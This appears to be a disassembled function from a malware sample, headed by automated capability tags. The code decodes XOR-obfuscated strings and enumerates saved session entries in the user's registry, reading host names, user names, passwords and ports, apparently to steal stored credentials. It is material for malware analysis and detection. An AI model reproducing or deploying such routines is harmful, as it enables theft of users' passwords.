Function at 0x140015a78
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rsi, rcx
lea rcx, [rbp + 0x408]
call fcn.1400150d0
mov rdx, rax
mov r12d, 9
lea rax, [rbp - 0x80]
mov r9d, r12d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r14d, r14d
test eax, eax
je 0x140015ad8
lea eax, [r12 - 8]
jmp 0x140015e2c
mov edi, r14d
xor edx, edx
jmp 0x140015dec
test eax, eax
jne 0x140015de8
movdqa xmm0, xmmword [0x14001c8d0]
lea ecx, [rax + 0x13]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0x6175
mov byte [rsp + 0x72], 0x12
call fcn.140002534
lea r8, [rsp + 0x60]
mov rdx, rax
sub r8, rax
mov r9d, SafeArrayGetElement
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140015b1d
mov rdx, rax
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x140015de8
movdqa xmm0, xmmword [0x14001c8b0]
mov ecx, 0x2b
movdqa xmm1, xmmword [str.B_y_kNEAQB2_Atfes_wN_s_f2Atfes_wNTFBEs_wVwtsgf7__Awff____]
movdqu xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x58], 0x6177414e
movdqu xmmword [rbp - 0x68], xmm1
mov dword [rbp - 0x54], 0x7c7d7b61
mov word [rbp - 0x50], 0x4e61
mov byte [rbp - 0x4e], 0x12
call fcn.140002534
lea r8, [rbp - 0x78]
mov rdx, rax
sub r8, rax
mov r9d, 0x2b
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140015b90
mov rdx, rax
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rax, [rsp + 0x50]
mov r9d, r12d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xc0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140015de8
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x408]
mov qword [rsp + 0x28], rax
lea rdx, str.HostName
lea rax, [rbp + 0x1d0]
mov dword [rbp + 0x408], 0x200
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140015c62
mov ecx, dword [rbp + 0x408]
inc ecx
call fcn.140002460
mov r8d, dword [rbp + 0x408]
lea rdx, [rbp + 0x1d0]
mov rcx, rax
mov rbx, rax
call fcn.1400024b0
mov ecx, dword [rbp + 0x408]
mov byte [rcx + rbx], r14b
mov qword [rsp + 0x60], rbx
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x408]
mov qword [rsp + 0x28], rax
lea rdx, str.UserName
lea rax, [rbp + 0x1d0]
mov dword [rbp + 0x408], 0x200
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140015cd5
mov ecx, dword [rbp + 0x408]
inc ecx
call fcn.140002460
mov r8d, dword [rbp + 0x408]
lea rdx, [rbp + 0x1d0]
mov rcx, rax
mov rbx, rax
call fcn.1400024b0
mov ecx, dword [rbp + 0x408]
mov byte [rcx + rbx], r14b
mov qword [rsp + 0x68], rbx
mov rcx, r12
mov dword [rbp + 0x408], 0x200
mov dword [rsp + 0x40], 0x61617342
mov dword [rsp + 0x44], 0x76607d65
mov byte [rsp + 0x48], 0x12
call fcn.140002534
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
mov r9, r12
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140015d0a
lea rcx, [rbp + 0x408]
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rdx, rax
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140015d85
mov ecx, dword [rbp + 0x408]
inc ecx
call fcn.140002460
mov r8d, dword [rbp + 0x408]
lea rdx, [rbp + 0x1d0]
mov rcx, rax
mov rbx, rax
call fcn.1400024b0
mov ecx, dword [rbp + 0x408]
mov byte [rcx + rbx], r14b
mov byte [rsp + 0x70], 1
mov qword [rsp + 0x71], rbx
jmp 0x140015d8a
mov byte [rsp + 0x70], r14b
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x418]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
lea rax, [rsp + 0x5c]
mov ebx, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.PortNumber
mov dword [rbp + 0x418], ebx
mov dword [rsp + 0x58], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea ecx, [rbx + 0x12]
lea r8d, [rbx + 0x19]
cmove ecx, dword [rsp + 0x5c]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x79], ecx
mov rcx, rsi
call fcn.140017798
inc edi
mov edx, edi
mov rcx, qword [rbp - 0x80]
lea r9, [rbp + 0x410]
mov qword [rsp + 0x38], r14
lea r8, [rbp - 0x40]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov dword [rbp + 0x410], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x140015ae2
xor eax, eax
mov rbx, qword [rsp + 0x500]
add rsp, 0x4d0
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret